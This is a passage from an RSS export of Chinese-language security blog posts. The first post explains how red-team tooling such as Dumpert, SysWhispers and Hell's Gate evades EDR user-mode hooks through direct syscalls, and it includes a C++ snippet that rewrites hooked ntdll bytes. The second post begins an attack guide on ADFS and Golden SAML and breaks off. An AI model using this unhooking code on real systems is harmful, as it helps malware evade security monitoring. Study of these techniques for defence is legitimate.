border-box;">从这里开始的绕过思路都是通过直接调用syscall绕过edr 对用户态api的hook，而其中的代表地狱之门随着时间的推移为了对抗edr新的检测机制也衍生出了各类“门”,但核心思路是一致的</span></p><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">一般来讲我们使用windows api调用windows的各项功能，在 Win32 API 之下是 Native API (ntdll.dll)，它实际上是 </span><span md-inline="em" style="box-sizing: border-box;"><em style="box-sizing: border-box;">用户模式</em></span><span md-inline="plain" style="box-sizing: border-box;">应用程序和底层操作系统之间的真正接口，AV/EDR 的基本用户模式 API 挂钩通常是通过使用跳转 (JMP) 指令修改 API 调用的前 5 个字节到指向安全软件的另一个内存地址来创建的，但是当我们获取了syscall 号直接通过调用内核的的方式去执行操作，就可以绕过edr的监控</span></p><p cid="n20" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">利用</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://j00ru.vexillium.org/syscalls/nt/64/" target="_blank">https://j00ru.vexillium.org/syscalls/nt/64/</a></span><span md-inline="plain" style="box-sizing: border-box;">可以查看不同系统下的syscall编号，但是直接调用syscall完成所有功能是很繁杂的，上面STFUEDR的思路我们可以看到可以调用VirtualProtectEx 和 WriteProcessMemory删除hook，但是如果这个操作也被hook了怎么，那我们就用syscall函数ZwProtectVirtualMemory 和ZwWriteVirtualMemory删除掉hook，然后后续再执行我们的恶意操作</span></p><pre spellcheck="false" lang="c++" cid="n21" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">LPVOID</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpProcAddress</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetProcAddress</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">LoadLibrary</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">L&#34;ntdll.dll&#34;</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pWinVerInfo</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-&gt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpApiCall</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">printf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[+] %s function pointer at: 0x%p\n&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pWinVerInfo</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-&gt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpApiCall</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpProcAddress</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">printf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[+] %s System call nr is: 0x%x\n&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pWinVerInfo</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-&gt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpApiCall</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AssemblyBytes</span>[<span style="box-sizing: border-box;color: rgb(17, 102, 68);">4</span>]);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">printf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[+] Unhooking %s.\n&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pWinVerInfo</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-&gt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpApiCall</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">LPVOID</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpBaseAddress</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpProcAddress</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">ULONG</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">OldProtection</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NewProtection</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">SIZE_T</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">uSize</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NTSTATUS</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">status</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ZwProtectVirtualMemory</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetCurrentProcess</span>(), <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpBaseAddress</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">uSize</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">PAGE_EXECUTE_READWRITE</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">OldProtection</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">status</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">STATUS_SUCCESS</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">wprintf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">L&#34;[!] ZwProtectVirtualMemory failed.\n&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FALSE</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">status</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ZwWriteVirtualMemory</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetCurrentProcess</span>(), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpProcAddress</span>, (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">PVOID</span>)<span style="box-sizing: border-box;color: rgb(0, 0, 0);">AssemblyBytes</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">sizeof</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">AssemblyBytes</span>), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NULL</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">status</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">STATUS_SUCCESS</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">wprintf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">L&#34;[!] ZwWriteVirtualMemory failed.\n&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FALSE</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">status</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ZwProtectVirtualMemory</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetCurrentProcess</span>(), <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">lpBaseAddress</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">uSize</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">OldProtection</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NewProtection</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">status</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">STATUS_SUCCESS</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">wprintf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">L&#34;[!] ZwProtectVirtualMemory failed.\n&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FALSE</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">TRUE</span>;</span></pre><p cid="n22" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">项目地址 ：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/outflanknl/Dumpert" target="_blank">https://github.com/outflanknl/Dumpert</a></span></p><h2 cid="n23" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">SysWhispers</span></h2><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">运行后检查系统版本并根据版本对应的系统调用表自动生成所有结构和系统调用，已经更新到第三版，主要添加了两个方法进行绕过</span></p><ul class="list-paddingleft-1" cid="n25" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">用占位符填充syscall位置，然后使用时动态替换</span></p></li><li style="box-sizing: border-box;"><p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">计算syscall地址，使函数调用后rip指针跳转到syscall的系统函数的位置上，解决edr对rip指针指向的检测</span></p></li></ul><p cid="n30" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">项目地址：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/jthuraisamy/SysWhispers" target="_blank">https://github.com/jthuraisamy/SysWhispers</a></span></p><h2 cid="n31" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">HellGate</span></h2><p cid="n32" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">除了我们可以通过系统调用表去查询syscall还可以通过读取 ntdll.dll 在主机上动态找到系统调用。hellgate通过检索PEB偏移量找到启动时加载到进程中的 ntdll 通过遍历导出地址表来查找和映射系统调用</span></p><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">项目地址：</span></p><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/am0nsec/HellsGate" target="_blank">https://github.com/am0nsec/HellsGate</a></span></p><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">NIM版本：</span></p><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/zimawhit3/HellsGateNim" target="_blank">https://github.com/zimawhit3/HellsGateNim</a></span></p><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">参考文章</span></p><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/" target="_blank">https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/</a></span></p><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf" target="_blank">https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf</a></span></p><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://tttang.com/archive/1464/#toc_syswhispers3" target="_blank">https://tttang.com/archive/1464/#toc_syswhispers3</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483774">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4d9b0b72&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483774%26idx%3D1%26sn%3D36802fb543e1b6c23f0a5a3507a26b71">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 22 Jan 2023 00:01:00 +0800</pubDate>
    </item>
    <item>
      <title>[新年特刊-年三十篇]域渗透-ADFS</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483773&amp;idx=1&amp;sn=5ac758643cc01c38b542dca757e735d4</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2023-01-21 04:39</span> <span style="display: inline-block;">内蒙古</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=06ef0c56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaPYytCeQXoicUnlpricwMfvhGic7QiawiaegcNveZypqaAqpnHbxibMQ0JoBdQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n80" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFS</span></h2><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">基于AD的SSO单点登录，一般出现时候都是搭配o365也就是AzureAD一起使用</span></p><p cid="n82" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="image" data-src="https://s3.cn-north-1.amazonaws.com.cn/awschinablog/use-microsoft-adfs-4-0-sign-on-deployment1.jpg" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 476px;"><img class="rich_pages wxw-img" data-ratio="0.5052631578947369" data-type="jpeg" data-w="380" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-right-style: solid;border-left-style: solid;border-right-color: transparent;border-left-color: transparent;vertical-align: middle;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cc563473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaPDjdmDSIGVoFI2VjGDs7yfRian6qljdto876CphLInXhlgGK2GicQAoWA%2F640%3Fwx_fmt%3Djpeg"/></span></p><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">因为一般而言，管理员通常会授予用户标准帐户在 AWS 或 Azure 等云环境中的高级管理权限，且ADFS在内网往往没有MFA认证（有黄金SAML的就可以忽略这点了），所以针对ADFS的攻击本质目的是</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">建立一条从域权限到云权限的攻击路径</strong></span></p><h2 cid="n84" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFSDUMP+ADFSPOOF</span></h2><p cid="n85" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里就要引入一个概念就是黄金SAML凭证，和金票据一样很强大的玩意，因为用户密码的修改并不会影响已生成的SAML，首先我们先来看下什么是SAML吧</span></p><pre spellcheck="false" lang="" cid="n86" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">SAML（Security Assertion Markup Language）是一种基于XML的开放标准，允许身份提供者 (IdP) 将授权凭证传递给服务提供者 (SP)。该行话的意思是您可以使用一组凭据登录许多不同的网站。与管理电子邮件、客户关系管理 (CRM) 软件、Active Directory 等的单独登录相比，管理每个用户一个登录要简单得多。身份验证信息将在两个组件之间传递：身份提供者(ADFS) 和服务提供者（Web 应用程序）。通过身份验证后用户会带着SAML验证信息重定向到服务提供者的/SamlResponseServlet接口完成身份验证</span></pre><p cid="n87" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="image" data-src="https://nodauf.dev/p/practical-guide-for-golden-saml/saml-authentication-flow.jpg" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 476px;"><img class="rich_pages wxw-img" data-type="jpeg" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-right-style: solid;border-left-style: solid;border-right-color: transparent;border-left-color: transparent;vertical-align: middle;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-ratio="0.7071428571428572" data-w="700" src="https://wechat2rss.xlab.app/img-proxy/?k=00f0c677&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaPWvQ0fP1S7tkygEAu7WPTKcyEVLFJdibbUtwNPaI9nTJnEFHaNt2arcw%2F640%3Fwx_fmt%3Djpeg"/></span></p><ol class="list-paddingleft-1" start="" cid="n88" mdtype="list" style="margin-top: 